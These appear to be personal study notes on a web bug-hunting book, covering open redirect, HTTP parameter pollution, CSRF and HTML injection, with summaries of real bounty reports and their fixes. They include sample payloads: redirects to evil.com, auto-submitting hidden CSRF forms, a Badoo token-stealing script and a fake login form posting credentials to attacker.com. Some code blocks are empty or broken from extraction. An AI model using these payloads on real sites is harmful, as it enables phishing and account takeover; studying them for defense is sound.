

Real-World Bug Hunting

Learning Sources

[Real-World Bug Hunting - A Field Guide to Web Hacking](#)

Notes

-Notes originally created in Sept 2025

01. Bug Bounty Basics

Summary

-This chapter focuses on some basic web concepts, such as vulnerabilities, bug bounties, servers, IP addresses, HTTP, etc.

Vulnerabilities & Bug Bounties

-Vulnerability – A weakness in an app that allows a malicious actor to perform an non-permitted app action or gain access to data they should not have access to.

-A vulnerability can result in an attacker performing intended and unintended actions. Unintended action example: changing ID of record to access some info.

-Even actions which do not required “hacking” that let a user do/access something they should not is a vulnerability

-Bug Bounty – A reward (cash, crypto, airline miles, etc.) a website owner gives to someone who ethically discovers a bug and reports it to owner.

-Bug Program – An app owner’s rules and frameworks for people who want to test for vulnerabilities in an “ethical” way

-Vulnerability Disclosure Program – A program to report bugs that offers no bounty

Client / Server

-Internet – Network of computers that send messages to each other

-Packets – Data and metadata sent across the net. Servers can limit the types of packets they accept. Used to split data into small parts and can hence request only part of full data again if packet is lost.

-Client – initiates requests

-Server – receives request and responds

-HTTP – An RFC which defines how internet browsers communicate w/ a remote server using Internet Protocol

Visiting a Website

1. Visit site in browser (ex. <https://google.com>) and send request for site to ISP
2. ISP resolves domain name (ex. google.com) to an IP address (ex. 142.251.45.206) via DNS (Domain Name System) which store *domain:ip* refs
3. ISP establishes a TCP (Transmission Control Protocol) w/ server on port 80 (common HTTP port) or port 443 (common HTTPS port) to establish a 2-way comm between client and server

4. HTTP request passed to server by ISP
5. Server processes request and responds
6. ISP sends to client
7. Browser renders response

-IPv4 – Four nums connected by periods in ranges 0-255 (ex. *167.160.50.01*)

-IPv6 – Eight groups of hexadecimal digits separated by colons (ex. *2001:4860:4860::8888*). Made as num of available IPv4 addresses are limited.

-Ex HTTP request:

GET / HTTP/1.1

Host: *www.google.com*

Connection: keep-alive

Accept: application/html, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

-Path – A specific endpoint on a site (ex. *mysite.com/my_path*)

-Only skimmed the rest of this chapter and skipped notes as I already know all this. For more detailed info on HTTP on basic client/server, see existing notes files: *HTTP Notes*, *FastAPI Notes*, and *TryHackMe Notes*, *Web Dev Prog Lang Overview*, and *HTML Notes*.

02. Open Redirect

Intro

-Open Redirect – A vulnerability which occurs when a target visits a site and that site re-directs to a diff URL, potentially on a diff domain, as a way to lure targets to a malicious site.

-Often used with phishing, to make client think they are submitting info to actual site, when is actually malicious copy

-Can be low impact and not deserving of a bounty. Not part of OWASP (Open Web Application Security Project) Top 10.

Param Redirects

-Occur when a dev trusts attack-controlled input to redirect to another site, usually via URL param, HTML refresh tags, or DOM window location prop.

-Param based ex.: *https://www.google.com/?redirect_to=https://www.gmail.com*

-When re-direct occurs original client HTTP message is sent to site that is being re-directed to

-To look for open re-directs, generally monitoring proxy history for GET requests sent to ur test site that include a param specifying URL redirects.

Example Param OR Attack

-What if Google does not check re-directs before re-directing and attacker substitutes actual Google hyperlink on some site to *https://www.google.com/?redirect_to=https://www.attacker.com*? Now sensitive info intended for Google can go to attacker.

-Such vulnerabilities often include params such as *url=*, *redirect=*, *next=*, etc., so watch for this in URL

HTML <meta> Redirects

-<meta> - HTML tag which can define redirects.

-Ex. <meta http-equiv="refresh" content="0; url=https://www.attacker-site.com/">

-content – attribute that tells how long to wait before making request to URL in seconds

-Both *url* and *content* can be used as parts of attack

JavaScript Redirects

-Can also re-direct by modifying the DOM's *location* prop via JS:

`window.location = https://www.google.com/`

all three re-direct

`window.location.href = https://www.google.com`

`window.location.replace(https://www.google.com)`

-JS redirects require an attacker to be able to execute JS, such as via XSS

Example: Shopify Theme Install OR

-Bug Report: <https://hackerone.com/reports/101962>

-In this \$500 low difficulty bug bounty paid by Shopify in 2015, the following open re-direct was found:

`https://apps.shopify.com/services/google/themes/preview/supply--blue?domain_name=<anydomain>`

-While the intended effect was giving a way for Shopify store admins to see a preview of a new theme for their store, the result allowed attackers to submit malicious *anydomain*, instead of just the users store domain, which then would re-direct the user to a malicious site.

-Fix would be to get current *domain_name* for current store from back-end to generate preview, instead of letting user submit.

Example: Shopify Login OR

-Bug Report: <https://hackerone.com/reports/103772>

-In another \$500 low difficulty bug bounty paid by Shopify in 2015, the following open re-direct was found:

`http://mystore.myshopify.com/account/login?checkout_url=.attacker.com`

-The intended effect was to re-direct a user to a specific Shopify store URL (ex. checkout) after user logged in. But it also allowed attackers to re-direct to a malicious URL after login, as well. The attacker could then steal login info, and so forth.

-You can add special chars (ex. period in above) to part of a URL to redirect to another domain

-Fix would be to validate *checkout_url* before re-directing to ensure only URLs (and relative paths) on same host allowed too

Example: HackerOne Interstitial OR

-Bug Report: <https://hackerone.com/reports/111968>

-In this \$600 low difficulty bug bounty paid by HackerOne in 2016, the following open re-direct was found

-Interstitial Web Page – a page which displays before the expected content loads to prevent open re-directs. Can be used to let user know they are leaving the current domain, also.

-Can thus have the interstitial web page re-direct to a malicious page, such as fake login page.

-In HackerOne example, HO used ticketing system Zendesk and when took HO to path `/zendesk_session`, the browser re-directed to Zendesk, with an interstitial web page in between. But then users could create custom Zendesk accounts and pass them to the `/redirect_to_account?state=param`. The custom Zendesk acct could then re-direct to malicious website which would take user to untrusted site w/o warning.

-This vulnerability was confirmed via a hacker creating a Zendesk acct under subdomain `compayn.zendesk.com`, then adding the following to Zendesk theme: `<script>document.location.href = «http://evil.com»;</script>`. As such HackerOne would re-direct to Zendesk, which would then run his script to re-direct to the malicious site via:

```
https://hackerone.com/zendesk_session?locale_id=1&return_to=https://support.hackerone.com/ping/redirect_to_account?state=compayn:/
```

-Because the `return_to` re-direct contained the `hackerone` domain, the interstitial web page never loaded and users never knew they were being re-directed to malicious site.

-Fix would be to properly validate the full `return_to` code param, not just its host, since on-domain `return_to` still redirected thanks to param tacked onto `return_to` URL.

-Each service a site uses is thus a new attack vector. Here, though Zendesk re-directs were allowed and sent through an interstitial site first, due to Zendesk vulnerabilities, the attacker was able to exploit HackerOne also. A vulnerability sometimes must thus be dug for, through multiple layers, to find.

Summary

-Open redirects let attacks redirect clients to malicious sites without clients knowing. They can occur through obvious redirect params or more hidden ways.

-The attack relies on abuse of trust where the client does not realize the site they have been redirected to is malicious

-Integrating services into your service can expose more vulnerabilities

03. HTTP Parameter Pollution

Intro

-HTTP Param Pollution – The process of manipulating how a site treats the params it receives during a request. Occurs when attack injects extra params into a request, the site trusts them, and unexpected behavior occurs.

-Can occur on client or server side. On client-side, attack results may be visible to user. On server-side, attack often relies on how code on server deals w/ params and thus may require more experimentation by attacker to find bug.

Server-Side HPP

-Sending unexpected data to a server in an attempt to make the server return unexpected results, to reveal bug.

-Key aspect to finding bug is identifying potentially vulnerable params and experimenting w/ them.

Server-Side HPP Ex.

-Bank can process transfers using URL params processed by server. Params include acct num to transfer from, acct num to transfer to, and amount (*to*, *from*, *amount*), in that order in URL.

-Ex. expected request: *https://www.bank.com/transfer?from=12345&to=67890&amount=5000*

-With above given, if attacker submits to *from* params, by appending another *from* onto end of URL. In this attack, attacker would be hoping the server would process the second *from* (an acct they don't own), instead of the first *from* (their account).

-Ex. malicious request:

https://www.bank.com/transfer?from=12345&to=67890&amount=5000&from=ABCDEF
send \$67,890 from ABCDEF to 67890

-How a server handles same name params depends on server type. For example, PHP and Apache use the last occurrence, while Apache Tomcat uses first occurrence, while ASP and IIS use all occurrences. HPP vulnerabilities thus require some knowledge on how the site is working w/ works.

-Server-side code can also execute via params not typically passed into the URL. For example, if the bank did not have a *from* param in its URL, but then parsed in all params sent to URL to transfer money, attacker maybe be able to pass in *from* anyways, and have that *from* be processed as the acct to transfer from.

-Attack code:

user.account = 12345

```
def prepare_transfer(params):  
    params.append(user.acct_id)  
    transfer_money(params)
```

```
def transfer_money(params):  
    # if attacker appends "from" onto URL, now params[2] is malicious "from" instead of expected acct_id  
    to = params[0]  
    amount = params[1]  
    from_ = params[2]  
    transfer(to, amount, from_)
```

Client-Side HPP

-Allow attackers to inject params into a URL to create effects client-side.

Client-Side HPP Ex.

-A site exists which generates a new URL based on the value *par*, which exists both as a URL query param and as a href displayed in the current page. As such, when user loads current page, they pass in *par* query param to page, to also get link to another page inside current page:

http://host/page.php?par=123%26action=edit # attacker URL

```
<? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?>  
<a href="/page.php?action=view&par='<?=$val?>.'">View Me!</a>
```

-Note that %26 exists in the attack query param value. This is URL encoding for &. This allows the user to submit a second param that would not have been allowed if they instead passed in *par=123&action=edit*, as in this case *action* would just be dropped.

-When the *par GET* is passed into PHP function *htmlspecialchars*, it converts to hyperlink w/ *&* (HTML's way of representing *&*):

```
<a href="/page.php?action=view&par=123&action=edit">
```

-Fix would be to generate link via back-end code which validates *par* to get and build link, instead of generating link for back-end on front-end, where front end can then be used to exploit a back-end page by executing unintended back-end code when click on link on front-end.

-As such, *action* gets append onto the link as a second unexpected malicious param, in addition to the expected *par* param. This could result in *action* being used to cause unexpected client-side effects

Example: HackerOne Social Sharing Buttons HPP

-Bug Report: <https://hackerone.com/reports/105953/>

-In one \$500 low difficulty bug bounty paid by Hackerone in 2015, the following HPP was found:

```
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/intro-signal?&u=https://vk.com/durov
```

-In this case, the link contacted another service (FB), such as this link which allowed users to share HackerOne content on facebook. When clicked, it would generate content, including a URL back at the original HackerOne blog post.

-An attacker realized that they could append a param onto the HackerOne blog link, which in turn would generate content that actually directed the user not to the intended HackerOne but an off-domain site, despite the URL defining a link to the *hackerone.com* domain.

-This occurred as the *u* parameter took precedence for where to direct to over the hackerone link, as a result of everything that Meta implements being trash.

-Additionally, if the attacker changed their params on the HackerOne link to:

```
https://hackerone.com/blog/intro-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov
```

when a user clicked the link, they would also be shown a tweet showing the text *another_site*:

```
https://vk.com/durov, instead of a text promoting the HackerOne blog.
```

-This would be server-side HPP: The attacker builds their malicious link. They click to create the "share" from HackerOne, but Hackerone uses a facebook php URL to actually get the share and by not doing proper verification on the params, it passes over malicious params to FB, which then creates a share that re-directs to an off-domain site instead of the HO blog. The attack thus attacks the poor validation on the HackerOne servers, which lets the FB php code be exploited. The vulnerability this lives within the HO code, due to performing bad validation.

-Fix would be for HackerOne to validate data being passed into the facebook URL properly, even though it is not code owned by HackerOne

-As such, look out for vulnerabilities where sites which accept content do so by contacting another site and rely on the current URL to generate content to be published. In such cases, submitted content might be used without undergoing proper security checks.

Example: Twitter Unsubscribe HPP

-Bug Report: ****link is dead and cannot find report via search****

-In one \$700 low difficulty bug bounty paid by Twitter in 2015, the following HPP was found:

<https://twitter.com/i/u?iid=F6542&uid=1134885524&nid=22+26&sig=6476691dccf3xxx>

-Note that the path takes in *uid*, which was id of current user. Attacker tried changing this to an id of another user, but got error. Then, they tried adding on a second *uid* onto the param:

<https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26&sig=6476691dccf3xxx>

-Now the second uid (1134885524) was used to unsubscribe and the attacker was able to unsubscribe a different user

-Under the covers, this attack worked as Twitter back-end used the user's *uid* and *sig* to ensure a valid URL. This caused the first attack to fail. But in the second attack, the first *uid* and the *sig* were used to validate successfully, but then the second *uid* param was used to determine which user to unsub.

-Fix would have been to not let user submit UID to unsubscribe, but get this from back-end, for current user, instead.

-As such, be persistent in attacks and don't give up if the first attack fails, as a more complex bug might still exist. Additionally, beware of auto-incrementing query params like UID which are used in many attacks.

Example: Twitter Web Intents HPP

-Bug Report: ****link is dead and cannot find report via search****

-In one \$??? low difficulty bug bounty paid by Twitter in 2015, the following bug was found:

-A feature existed to provide pop-up flows for working with non-twitter sites. Users could thus interact with Twitter content even when not on Twitter. For example, users could see and "like" a Tweet even when not on Twitter. Similar to how an `<iframe>` allows embeded content.

-The URL format for this was:

https://twitter.com/intent/intentType?parameter_name=parameterValue

-Such as:

https://twitter.com/intent/follow?screen_name=my_user&tweet_id=some_id

-Where *parameter_name* could be one of four values and each request could include one or more params to perform a desired action, such as a Twitter username and tweet id to create a pop-up to display the user to follow, tweet to offer to re-tweet, etc.



-An attacker found they could pass in the same param twice and Twitter would always prefer the second param instance, such as:

https://twitter.com/intent/follow?screen_name=someUser&screen_name=badUser

-But on the backend, the code used both params to generate HTML, where it used the first *screen_name* to fill in the form action (perform intent) for the second *screen_name*, while also using the first *screen_name* to populate the user name and ID in the intent. As such, it looked like a client was performing an intent (ex. follow) for one user, but was actually doing so for another:

```
<form class="follow" id="follow_btn_form" action="/intent/follow?screen_name=badUser" method="post">
  <input type="hidden" name="authenticity_token" value="...">
  <input type="hidden" name="screen_name" value="someUser">
  <input type="hidden" name="profile_id" value="783214">          # profile_id of someUser
  <button class="button" type="submit">
    <b></b><strong>Follow</strong>
  </button>
</form>
```

-The attacker also found he could append a *screen_name* onto an */intent/like* call, where normally *like* would only take in a *tweet_id*, but when also taking in a *screen_name*, would result in the user seeing the correct profile for liking the displayed tweet, but when they clicked on *follow*, it would “follow” the malicious user, instead.

-Fix would have been to properly validate all intent params, for all intents, before generating intent HTML, ensuring displayed user and acted on user are always the same.

-As such, be aware, that if vulnerability occurs in one part of the code (ex. one intent) it may very well occur in other similar parts of the code (another intent), so explore the platform deeply after a vulnerability is found

Summary

-Risks for HPP vary based on the actions an attacker is able to harness through malicious params

-Discovering HPP requires more testing as it requires us to infer how params we pass in may be used on back-end code. If at first your attack does not succeed, try, try again.

04. Cross-Site Request Forgery

Intro

-Occurs when an attacker can make a target’s browser send an HTTP request to another site. That site then performs an action as though the request were valid and sent by the targeted site user to send the message.

-This attack typically relies on the target site being previously authenticated on the action site and occurs w/o the target’s knowledge.

Basic Example

-Bob logs into his bank site to check balance. Bob then checks his email acct on a diff domain while still logged into his bank acct. Bob gets an email w/ unknown link and clicks to see where it goes. The unfamiliar (malicious) site then makes an HTTP request to bob’s bank site for a money transfer. Bob’s bank site receives the attack request but because the bank does not have CSRF protections it accepts it. Bob loses his money.

Authentication

-When you login to a site, the auth details are generally stored client-side in a cookie or basic auth protocol so you don’t have to login each time you visit a site.

-Basic auth uses HTTP headers that look like *Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l*, where the key is a base64-encoded username and password separated by a colon. It is dated and pretty insecure.

-Cookie auth contain attributes that define cookie details such as *domain*, *expires*, *max-age*, *secure*, and *httponly*. They can also hold key/value pairs of data. Cookies are typically limited to 4KB in size. A cookie can store any key/value pair and the code which uses the cookies is in charge of defining use for these props.

-Cookie prop ex. – *sessionId=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08*
domain=mySite.com

-*httponly* – Cookie flag. If in cookie, scripts cannot read cookie and can only be read through HTTP and HTTPS requests. This prevents script-based cookie attacks.

-*secure* – Cookie flag. If in cookie, cookie will only be sent if request is made with TLS (HTTPS). This encrypts your cookie as it travels through the net.

-Using *httponly* and *secure* together creates cookies that can be sent legitimately but not read maliciously.

-*expires* – A key/value prop for *expires=someDateTime* (ex. *expires=Wed, 18 Dec 2019 12:00:00 UTC*).

-*max-age* – A key/value prop to set cookie expiration in int seconds (ex. *max-age=3600*)

-In the previous Bob's bank attack the malicious site was able to transfer money by using Bob's auth cookie in the request it sends to Bob's bank, which says the site is in fact Bob, who is auth to money transfer.

CSRF GET Requests

-For requests that use GET, the malicious site will send an HTTP request w/ either a hidden form or ** tag, as GET relies on data submitted from browser to GET specific resource.

-The ** tag in CSRF GET requests is used as a way to access the victim's cookie as normally, the attacker would not have access to it. So, instead of stealing the victim's cookie, then making a request with it, it instead hides a request that uses the victim's cookie via a hidden HTML ** on the malicious site which uses the victim's cookie to make the request instead.

-Ex. Bob visits malicious link, which is site which contains hidden ** tag that makes money transfer request. Since Bob is visiting the site client-side, his cookie is sent with his request to the bank and his money is stolen, as auth validates transfer:

```
  
# cookie gets sent w/ this from Bob's machine
```

-To prevent this vulnerability, never use GET to perform any data modifying requests

CSRF POST Requests

-As you cannot POST via * src* (which GETs an image to display on site), POST must another attack method.

-Typically posts submit data either in *content-type application/x-www-form-urlencoded* (a form) or *text/plain*.

-*text/plain* HTTP ex.

```
POST / HTTP/1.1  
Host: www.google.ca
```

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 5
Content-Type: text/plain;charset=UTF-8
DNT: 1
Connection: close
hello

-Form encoded HTTP data can be submitted silently, without the victim knowing. This can be done via GET or POST.

-The attack on Bob would likely use a form for data submission and could look like:

```
<iframe style="display:none" name="csrf-frame"></iframe>

<form method='POST' action='http://bank.com/transfer' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='from' value='Bob'>
  <input type='hidden' name='to' value='Joe'>
  <input type='hidden' name='amount' value='500'>
  <input type='submit' value='submit'>
</form>

<script>document.getElementById("csrf-form").submit()</script>
```

-Here the POST submits all the required transfer details as *hidden* form props by defining a hidden iframe then having a hidden form (no user UI) target the frame. A script defined under the form then auto-submits it, without the victim knowing the form/iframe even existed.

-The iframe is used to hide the response after the form is POSTed, so the user does not get re-directed to the bank site after the transfer is submitted. Even though the iframe still displays the hidden bank response (ex. re-direct to confirmation page), the response is invisible to the victim due to *display:none*.

-In other cases, POST can contain a CSRF token. This token is used to validate the request was sent from itself and not another auth stealing malicious site. The token can be part of the request body or included via a custom header, such as *X-CSRF-TOKEN*.

-Preflight Options Call – For certain requests (ex. *content-type=application/json*, custom token header, etc.), the browser first auto-sends an *OPTIONS* request to a site asking what request types and actions it accepts and from which trusted origins. The site then responds with this info.

-Preflight options calls can thus be used to help prevent against CSRF attacks by defining trusted sites/actions the auth token can be used on, which would not include a malicious site making a hidden request.

CORS

-Cross-Origin Resource Sharing. The set of rules which define when and how websites can read responses from each other. Can be used to define details used in preflight options calls.

-Restricts response-reading to only trusted (whitelisted) sites. Hence, CORS can prevent responses from being read by malicious sites and control what actions whitelisted sites can do. As such, even if an attacker is able to submit a CSRF attack, if they can't read the response, no dice.

-CORS can sometime be bypassed by changing the *content-type* sent to a site to *application/x-www-form-urlencoded*, *multipart/form-data*, or *text/plain* as browsers do not do preflight options calls for these *content-type* when POSTing.

-If CSRF fails even with no preflight options call, it could be that the *Access-Control-Allow-Origin* header in the servers response is adding a second check defining trusted origins for reading the response. As such, the attack will still fail, as the attack sends, but the attacker cannot read the response.

-On the other hand, if you send the request from different origins and *Access-Control-Allow-Origin* changes to reflect the sending origin, this implies the server is allowing arbitrary origins to be added to allowed origins. This both allows CSRF attacks and could let the attacker read sensitive data in the server's response.

CSRF Defense: CSRF Token

-CSRF Token – One way to defend. When implemented, whenever a data altering request occurs (POST, PATCH, etc.), a CSRF token must also be submitted.

-When the app generates a CSRF token it generates a two-part token. Half lives server-side only, the other half is sent to the client and stored locally via cookie.

-Whenever the client makes a request the app verifies the token using it's half of the token. As such, even if an attacker gained accessed to the client-side token, without the server-side token, it cannot validate auth.

-CSRF tokens are stored in HTTP messages via key/value, named as desired. Ex.

X-CSRF-TOKEN=IHt7DDdyUNKoHCC66BsPB8aN4p24hxNu6ZuJA+8l+YA

-The below example once again shows the Bob's Bank code, but now CSRF protected, via a hidden *csrf* `<input>` populated using the CSRF cookie, embedded script in site, or as part of content delivered from site:

```
<form method='POST' action='http://bank.com/transfer'>
  <input type='text' name='from' value='Bob'>
  <input type='text' name='to' value='Joe'>
  <input type='text' name='amount' value='500'>
  <input type='hidden' name='csrf' value='IHt7DDdyUNKoHCC66BsPB8aN4p24hxNu6ZuJA+8l+YA'>
  <input type='submit' value='submit'>
</form>
```

-As the *csrf* `<input>` populates from Bob's cookie (or other local store), even if Bob visits the malicious site, the attacker cannot directly access Bob's cookie to get the required *value*. The attacker thus cannot validate Bob's auth.

-Even if a site uses a CSRF token, you can still try removing the token, putting in an arbitrary *value*, and so on, to further pen test.

CSRF Defense: CORS

-CORS can protect as described previously but it is not foolproof as it relies on browser-level security and as previously described, attackers can sometimes bypass CORS via changing the HTTP *content-type* or by using a GET request instead of a POST request due to sever mis-config (GET instead of POST as no preflight options call w/ GET).

CSRF Defense: origin/referrer Validation

-A less common defense, checking the HTTP *Origin* or *Referrer* headers can be done to ensure to the request is coming from a whitelisted site.

-As browsers control these headers, an attacker cannot change them.

CSRF Defense: samesite

-Another less common defense, the *samesite* header is a key/value pair w/ available vals of *strict* and *lax*.

-When *strict*, a browser will only send cookies to the site that issued them, even on simple GET requests.

-When *lax*, a browser will only send cookies on GET requests, even if site sending cookie is not issuer. If using this, the app must be 100% sure GET requests never alter data.

Example: Shopify Twitter Disconnect CSRF

-Bug Report: <https://hackerone.com/reports/111216>

-In one \$500 low difficulty bug bounty paid by Shopify in 2016, the following bug was found:

https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect/

-This feature allowed Shopify to integrate Twitter into their site so shop owners could tweet about their products. It also allowed used to disconnect a Twitter account from a connection shop, which is what the above path did.

-Unfortunately the path did this via a GET request, plus the request had no validation:

```
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0)
Gecko/20100101 Firefox/43.0
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://twitter-commerce.shopifyapps.com/account
Cookie: _twitter-commerce_session=REDACTED
Connection: keep-alive
```

-As such, the attacker could define a site containing an ** based CSRF attack:

```

```

-With this, if the attacker could take a client to a malicious site, it could disconnect a Twitter account from a logged in Shopify store.

-Fix: Do not use GET for updating data plus implement CSRF protection, such as a CSRF token.

Example: Change Users Instacart Zones

-Bug Report: <https://hackerone.com/reports/157993/>

-In one \$100 low difficulty bug bounty paid by Instacart in 2015, the following bug was found

-Instacart allows delivery drivers to define the zones they work in. The site updated these zones via POST request to the Instacart admin subdomain. An attacker found this endpoint vulnerable to CSRF attacks, where it could be attacked in a manner like:

```
<form action="https://admin.instacart.com/api/v2/zones" method="POST">
  <input type="hidden" name="zip" value="10001" />
  <input type="hidden" name="override" value="true" />
  <input type="submit" value="Submit request" />
</form>
```

-In which the attacker utilized the back-end *override* value to set a *zip*. This allowed the attacker to set a client zip undesired by the client, if a client clicked their “submit” button.

-Note, this attack method could actually use improvement as hiding the form and auto-submitting via JS hides the attack from the user, versus requiring user interaction (*submit*) to complete the attack, as seen in the previous *<iframe>* example.

-Fix: Use a CSRF token to prevent data modifying HTTP request type CSRF attacks

-Note, this attack involved only attacking an API endpoint and no actual html page was required. As such, don’t just pen test sites, but endpoints also.

Example: Badoo Full Account Takeover

-Bug Report: <https://hackerone.com/reports/127703/>

-In one \$852 med difficulty bug bounty paid by Instacart in 2015, the following bug was found

-Badoo uses CSRF tokens via including them in a URL param *rt*. The attacker noticed the token was also returned in most *JSON* responses. Badoo also used CORS, though, which prevented the attacker from reading responses.

-Via digging, the attacker was able to find the Badoo JS script which set the *rt* value sent in requests via a JS var *url_stats*:

```
var url_stats = 'https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<urt_param_value>';
```

-The attacker could just direct a client to a malicious site that executed the JS file, which CORS does not block as browsers are allowed to read and embed JS files from external sources.

-As such, when a user logged into Badoo visited the malicious site, the attacker could have access to the users *rt* value via the JS var. The attacker could then pull this var into their own malicious script to invoke POST requests to modify the target account.

-The attack occurred as such:

```
<head>
  <script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
  <script>
    function getCSRFcode(str) { return str.split('=')[2]; }

    window.onload = function(){
      var csrf_code = getCSRFcode(url_stats);

      csrf_url =
        'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkA
        &authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810
        &prompt=none&rt='+csrf_code;

      window.location = csrf_url;
    };
  </script>
```

-Here we can see the badoo script executing on page load, then the malicious script splitting and using the full CSRF token (*url_stats*) set by the badoo script to get the client-side token half. Then the attacker uses a self-executing anon function to auth as a user w/ the CSRF token (*rt*).

-Fix: Do not access the CSRF token via JS in a cross-origin-loadable JS file as JS is visible to the user, meaning it is also visible to attackers, plus it can be executed by another site.

-Attacker lesson here, is where there is smoke, there is fire. If the *rt* param is being returned in diff locations, such as JSON responses, it also might be used client-side, which in this case was via JS. Proper digging when smoke is smelled can thus reveal more hidden vulnerabilities. Use a proxy to check all resources in a site for such vals like *url_stats*, which the hacker exploited here.

Summary

-CSRF vulnerabilities enable another hidden attack vector for hackers.

-They can also be a bit more difficult to find

-Thankfully, many application frameworks automatically include features to prevent them for update (POST, etc.) requests, though less protection often exists for GET. As such, make sure GET gets and nothing else.

05. HTML Injection & Content Spoofing

Intro

-HTML Injection - Allows an attacker to inject content into a site's web pages. Could inject anything, though *<form>* mimicking a login screen is common. These attacks often rely on social engineering to get users to use the malicious login.

-These types of attacks are generally considered low difficulty and thus pay less for bug bounties

-HTML can be injected when a site allows users to submit HTML to customize the site for them, typically via a form input or URL params.

-HTML injection is also referred to as *virtual defacement* as it involves developers spray painting their virtual attack graff all over a site.

-Phishing – tricking someone to give sensitive information via impersonation.

-Example malicious content that could be added to site:

```
<form method='POST' action='http://attacker.com/capture.php' id='login-form'>
  <input type='text' name='username' value=''>
  <input type='password' name='password' value=''>
  <input type='submit' value='submit'>
</form>
```

-Content spoofing – similar to HTML inject except attacker can only inject plaintext, such as sites preventing html being submitted via forms. A harder attack, obviously, but still can be used to trick users into malicious actions via heavy social engineering tactics.

Example: Coinbase Comment Injection Via Char Encoding

-Bug Report: <https://hackerone.com/reports/104543/>

-In one \$200 low difficulty bug bounty paid by Coinbase in 2015, the following bug was found

-When HTML is rendered, it includes reserved char (ex. <>) and open char (ex. abc123). When reserved char are rendered, they are done so via encoding. For example, > is rendered on sites as >, to avoid injection, as such char can then be blocked from injecting.

-Unreserved char (ex. a) can also be rendered using HTML encoded num, such as a for a.

-In the attack, the attacker first tried injecting text with and <h1> inside of it, but found that the added comment did not render the html tags into the page, only the text:

`<h1>This is a test</h1>`

-When the attacker injected the same <h1> enclosed text using HTML encoded values, though, now the text rendered as an <h1>:

`<h1>This is a test</h1>`

-The attacker was then able to render a comment that rendered a login form, which the attacker could then use to get a victim to login to, but then send the login info to their malicious service instead of Coinbase.

-As this vulnerability required users believing a comment was a login form and then randomly logging into it, the bounty was low (bullshit, IMO, as unlike a bank account, if a Coinbase acct was compromised the block-chain stolen funds would be unrecoverable).

-Fix: Do not just filter out human-readable HTML tags from input that affects page display but HTML entity encoded tags as well. Many libraries/frameworks exist to support this.

Example: HackerOne Unintended HTML Inclusion

-Bug Report: <https://hackerone.com/reports/110578/>

-In one \$500 med difficulty bug bounty paid by HackerOne in 2016, the following bug was found

-Markdown – used to generate HTML w/o needing to know HTML. For ex, to generate an anchor tag, can do:
`[test](https://torontowebsitedeveloper.com "Your title tag here")`

-An attacker noticed that on HackerOne's markdown editor allowed him to input a single hanging quote into markdown syntax which would also exist in the generated HTML.